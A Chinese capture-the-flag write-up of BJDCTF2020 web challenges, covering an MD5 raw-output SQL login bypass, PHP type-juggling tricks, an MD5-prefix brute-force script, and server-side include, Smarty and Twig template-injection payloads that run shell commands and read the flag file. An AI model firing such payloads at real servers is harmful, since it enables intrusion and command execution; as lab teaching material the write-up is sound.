二月份的比赛,前几天做ezphp的时候发现有其他web的题目,索性全都复现一下,有些是之前buu做过了

docker环境:https://github.com/BjdsecCA/BJDCTF2020_January

平台:https://buuoj.cn

ezphp

写在csdn上了,传送

easy_md5

打开靶机只有一个提交框

输啥都没有反应,抓了个包,返回头里看到hint

考点:mysql特性,MD5函数特殊字符串,php强弱类型

php中MD5函数的处理方式如下

由于会返回原始二进制格式,我们来看看ffifdyop字符串的结果

生成了’or’6以及一些不可见字符,那么再结合hint,他本来的语句是
select * from 'admin' where password='传入处理后的值'
当我们传入ffifdyop之后,就会变成
select * from 'admin' where password=''or'6xxxxxxx'

而在mysql中,判断条件时,以数字为开头的字符串会被当做是整型,均会返回1,也就是true

那么password的or判断就接收true并绕过了这个语句。

传入之后跳转到了levels91.php,源码给出了php代码

1
2
3
4
5
6
<?php
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
header('Location: levell14.php');

一个简单的弱类型,可以利用科学计数法特性提交两个md5后以0e开头的字符串,或者直接变为数组两个NULL相等绕过。

传入之后又跳转到levell14.php,强类型碰撞

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

传入两个md5后值相等的字符串或一样用数组即可。

mark loves cat

csdn上写过:传送

打开靶机一个登录框

请求index.php.swp得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

可以看到成功登录的关键,$admin == substr(md5($_POST['password']),0,6),脚本爆破即可

1
2
3
4
5
6
7
8
9
10
import hashlib

def func(md5_val):
for x in range(999999, 100000000):
md5_value=hashlib.md5(str(x)).hexdigest()
if md5_value[:6]==md5_val:
return str(x)

if __name__ == '__main__':
print func('6d0bc1')

跑出来结果是202066,登录看看,headers里返回了url

访问之后发现会回显username的内容

考点:ssi代码执行注入

ssi是服务器端包含的意思,就是在html中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

在这里, shtml文件可以执行 bash 命令,构造<!--#exec Cmd="ls"-->即可命令执行,最后在ls ../找到flag文件

直接cat读取即可

the mystery of ip

打开靶机flag.php会显示出ip,抓包观察到xff头可以控制

考点:smarty模板注入

构造4会直接得到4

猜测为模板注入,尝试读取配置文件构造发现是smarty模板。

1
{{system('ls')}}或者{if system('ls')}{/if}

都可以执行命令,最后在根目录下找到flag

打开靶机在flag.php有个提交框会把输入内容输出到网页上

构造4发现还会返回计算结果4

考点:Twig模板注入

发现在cookie处

user会把输入的内容存进去,urldecode(%7B%7B2%2B2%7D%7D)=4,首先了解一下使用的是什么模板,在csdn师傅的一篇文章找到流程图

输入49成功回显,但Jinja2是基于python的模板引擎,那么只能是Twig了,百度一下Twig的payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

由于提交之后cookie会url编码处理,所以提交之后直接把cookie改回来即可

ZJCTF,不过如此

之前写在csdn上,传送